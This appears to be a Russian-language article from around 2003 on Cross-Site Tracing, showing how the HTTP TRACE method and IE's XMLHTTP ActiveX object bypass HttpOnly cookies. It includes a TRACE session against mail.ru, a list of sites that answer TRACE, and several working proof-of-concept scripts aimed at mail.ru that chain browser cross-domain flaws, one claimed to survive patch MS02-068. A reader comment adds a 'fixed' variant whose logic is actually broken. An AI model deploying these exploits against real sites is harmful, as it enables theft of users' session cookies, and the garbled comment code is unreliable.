Здравствуйте. Наверное уже для многих не
секрет, что Microsoft стала больше уделять
внимания безопасности своих приложений.
Internet Explorer 6.0 не исключение...
Сross-site scripting, наверное самая
распространенная уязвимость Web-серверов. Ее
опасность заключается в том, что
злоумышленник, который умеет ею
пользоваться, может захватить
конфиденциальную информацию о юзере. Чаще
всего информация берется из переменной
document.cookie. Уменьшить риск возникновения
такой ситуации должен был Microsoft Internet Explorer 6.
Это проявилось в новом атрибуте
передаваемых cookie, который влияет на
доступность чтения cookie из скриптов на
клиентской стороне. Так, чтобы закрыть
доступ к document.cookie нужно вместе с cookie
передать и атрибут HTTP-only. По идее хакеру
закроется доступ к переменной document.cookie. Вот
пример установки таких cookie:
Set-Cookie: USER=123; expires=Wednesday, 09-Nov-99 23:12:40 GMT; HttpOnly
Итак, с SP1 (Октябрь 2002) должна была исчезнуть
уязвимость XSS. Действительно, чтение cookie
стало невозможным. Теперь при попытке
обращения к cookie, броузер возвращал место
значения пустую строку. Давайте взглянем на
следующий пример:
<script>
function normalCookie() {
document.cookie = "Cookie=Value";
alert(document.cookie);
}
function httpOnlyCookie() {
document.cookie = "Cookie=Value; httpOnly";
alert(document.cookie);
}
</script>
<FORM>
<INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE="Display
Normal Cookie">
<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE="Display
HTTPONLY Cookie">
</FORM>
Нажав на первую кнопку мы увидим значение
переменной document.cookie.
А при попытке обращения к document.cookie с
установленным флагом HttpOnly броузер
возвращает пустую строку:
Казалось бы, данная технология должна
обеспечить безопасность конфиденциальных
данных. Но 1 Ноября 2002 года Jeremiah Grossman из WhiteHat
предложил свой сценарий получения доступа
к cookie.
Для понимания дальнейшего материала
необходимо ознакомится с методом запроса
"Trace".
Метод TRACE используется для получения
ответного сообщения на запроса на уровне
приложения. Конечному получателю запроса
СЛЕДУЕТ отразить полученное сообщение
обратно клиенту как объект ответа с кодом
состояния 200 (OK). Конечным получателем
является либо сервер, либо первый прокси-сервер,
либо первый шлюз, получивший нулевое
значение (0) в поле Max-Forwards в запросе. TRACE
позволяет клиенту видеть, что получается на
другом конце цепочки запросов и
использовать эти данные для тестирования
или диагностической информации. Если
запрос успешно выполнен, то ответу СЛЕДУЕТ
содержать все сообщение запроса в теле
объекта (entity-body), а Content-Type следует быть
равным "message/http". Ответы на этот метод
не кэшируются.
Иными словами TRACE возвращает пользователю
те данные которые были отосланы в запросе.
Он состоит из следующих данных:
1. Строка запроса (Request line)
2. Заголовки (Headers)
3. Отсылаемые данные (Post data)
Apache, IIS и iPlanet поддерживают по умолчанию
запрос TRACE согласно протоколу HTTP/1.1. Давайте
взглянем как происходит запрос TRACE:
[digitalscream@planet]$ telnet mail.ru 80
Trying 194.67.57.51...
Connected to mail.ru.
Escape character is ‘^]’.
TRACE / HTTP/1.1
Host: mail.ru
X-Header: test
HTTP/1.1 200 OK
Date: Tue, 04 Feb 2003 16:11:06 GMT
Server: 3WservRT 2001,VxWorks 5.4
Transfer-Encoding: chunked
Content-Type: message/http
TRACE / HTTP/1.1
Host: mail.ru
X-Header: test
WhiteHat предложили список серверов, которые
поддерживают запрос TRACE:
- www.passport.com
- www.yahoo.com
- www.disney.com
- www.securityfocus.com
- www.redhat.com
- www.go.com
- www.theregister.co.uk
- www.sun.com
- www.oracle.com
- www.ibm.com
От себя добавлю, что и www.mail.ru можно смело
добавить в этот список.
Поскольку наша цель это чтение cookie, значит
использование document.cookie нам не
принципиально. Поскольку значения cookie
передаются на сервер вместе с запросом, то
становится ясна возможность использования
запроса TRACE для наших темных дел. Но
заставить броузер отправить запрос TRACE не
так просто, потому как он использует в
качестве метода запроса POST или GET. Для
обхода этих ограничений и посылки
специально отформатированного HTTP запроса
на целевой сервер, необходима расширенная
технология скриптов на клиентском
компьютере. Некоторые технологии позволяют
нам добиться необходимых результатов. Jeremiah
Grossman предложил использовать ActiveX - XMLHTTP:
<script>
function sendTrace () {
var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlHttp.open("TRACE", "http://mail.ru",false);
xmlHttp.send();
xmlDoc=xmlHttp.responseText;
alert(xmlDoc);
}
</script>
<INPUT TYPE=BUTTON OnClick="sendTrace();" VALUE="Send Trace
Request">
Результатом будет следующее
сообщение.
Используя ActiveX компонент XMLHTTP, мы отсылаем
запрос TRACE на целевой web сервер. Если есть
поддержка TRACE, броузер покажет данные
отосланные вместе с HTTP запросом. Internet Explorer
отсылает по умолчанию данные, а JavaScript
выводит окно с содержанием HTTP запроса. Если
ваш браузер имеет cookie от удаленного сервера,
или находится на сервере используя WEB
авторизацию, то следовательно данные могут
быть перехвачены злоумышленником. Эта
технология гарантирует обход атрибута "HttpOnly",
потому что не используется функция document.cookie.
Но самое страшное то, что от CROSS-SITE TRACING не
спасает даже SSL. На данном этапе важно
осознать две вещи.
- Данная технология поддерживается Internet
Explorer. - Mozilla/Netscape воспринимают такие cookie, как
обычные.
При использовании TRACE запрос должен
исходить со скрипта принадлежащего одному
домену с целевым сервером. Так, скрипт
который посылает запрос TRACE и соединяется с
mail.ru должен принадлежать серверу mail.ru.
Технология доменных ограничений помогает
защитить пользователей от XSS. Для обхода
данного ограничения существуют два
варианта: XSS в контексте броузера или
сервера. Если возможность XSS присутствует
на сервере, то предыдущий сценарий и будет
эксплоитом. А для использования изъянов в
броузере нужно воспользоваться таким
сценарием:
- Создание эксплоита для получения
доступа в другую доменную зону (в
принципе этого хватает если не
используется флаг "НttpOnly"). - Задание в качестве исполняемого кода
сценария запроса TRACE.
Для примера воспользуемся изъяном,
обнаруженным GreyMagic
Security.
<script>
function xssDomain() {
var oWin=open("blank.html","victim","width=500,height=400");
var oVuln=oWin.external;
oWin.location.href=”http://mail.ru”;
setTimeout(
function () {
oVuln.NavigateAndFind(‘javascript:
xmlHttp=new ActiveXObject(“Microsoft.XMLHTTP”);
xmlHttp.open(“TRACE”,”http://mail.ru”,false);
xmlHttp.send();
xmlDoc=xmlHttp.responseText;
alert(xmlDoc);
’,””,””);
}
,2000);
}
</script>
<INPUT TYPE=BUTTON OnClick=”xssDomain();” VALUE=’TRACE XSS Domain’>
}
Данный пример не будет работать если
установлен патч MS02-068. Но, тем не менее, вот
следующий пример, работающий даже после
установки патча:
<script>
function xssDomainTraceRequest(){
var exampleCode = "var xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\")\;
xmlHttp.open(\"TRACE\",\"http://mail.ru\",false)\;
xmlHttp.send()\;
xmlDoc=xmlHttp.responseText\;
alert(xmlDoc)\;";
var target = "http://mail.ru";
cExampleCode = encodeURIComponent(exampleCode + ';top.close()');
var readyCode = 'font-size:expression(execScript(decodeURIComponent("' +
cExampleCode + '")))’;
showModalDialog(target, null, readyCode);}
</script>
<INPUT TYPE=BUTTON OnClick="xssDomainTraceRequest()" VALUE=”Show
Cookie Information Using TRACE”>
Тут используется уязвимость функции
showModalDialog. Уязвимость была найдена Larholm'ом,
который, кстати, указывает, что ничего
нового в этой технологии нет, а
представляет она собой только несколько
переиначенную уязвимость XSS. В самом
описании он говорит, что это - "hyped,
sensationalised snakeoil". Впрочем, другой
исследователь безопасности, Peter Watkins,
придерживается противоположного мнения,
указывая, что указанная особенность
работает и в броузере Mozilla.
Как видно в реализации сложностей нет.
Надеюсь, что экспертам, занимающимся
исследованиями в области Web авторизации и Web
приложений, этот материал будет интересен.
-------------------------------------------------
По-моему будет правильней сделать так:
<script>
function xssDomainTraceRequest(){
var xmlHttp = new ActiveXObject('Microsoft.XMLHTTP');
var exampleCode = xmlHttp;
xmlHttp.open ("TRACE","http://mail.ru",false);
xmlHttp.send ();
xmlDoc=xmlHttp.responseText;
alert (xmlDoc);
var target = "http://mail.ru";
cExampleCode = encodeURIComponent(exampleCode + ';top.close()');
var readyCode = 'font-size: expression(execScript(decodeURIComponent("' +
cExampleCode + '")))';
showModalDialog(target, null, readyCode);
}
</script>
<INPUT TYPE="BUTTON" OnClick="xssDomainTraceRequest()"
VALUE="Show Cookie
Information Using TRACE">
Тогда всё попрёт!!!
(вариант Pol1989)